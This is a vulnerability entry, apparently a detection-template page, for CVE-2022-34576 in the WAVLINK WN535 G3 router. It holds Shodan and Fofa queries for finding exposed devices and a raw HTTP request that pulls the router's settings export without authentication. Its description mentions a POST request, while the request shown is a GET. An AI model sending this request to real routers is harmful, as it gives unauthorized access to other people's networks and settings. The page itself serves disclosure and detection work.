| Title | WAVLINK WN535 G3 - Improper Access Control |
|---|---|
| Author | arafatansari |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network. |
| Remediation | Apply the latest firmware update provided by the vendor to fix the access control issue. |
| CVSS Score | 7.5 |
| EPSS Score | 0.33416 |
| CVE ID | CVE-2022-34576 |
| Shodan Query | http.html:"Wavlink"http.html:"wavlink"http.title:"wi-fi app login" |
| Fofa Query | title="wi-fi app login"body="wavlink" |
| Tags | cve cve2022 wavlink exposure vuln |
WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /cgi-bin/ExportAllSettings.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34576.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-34576.pcap
N/AN/A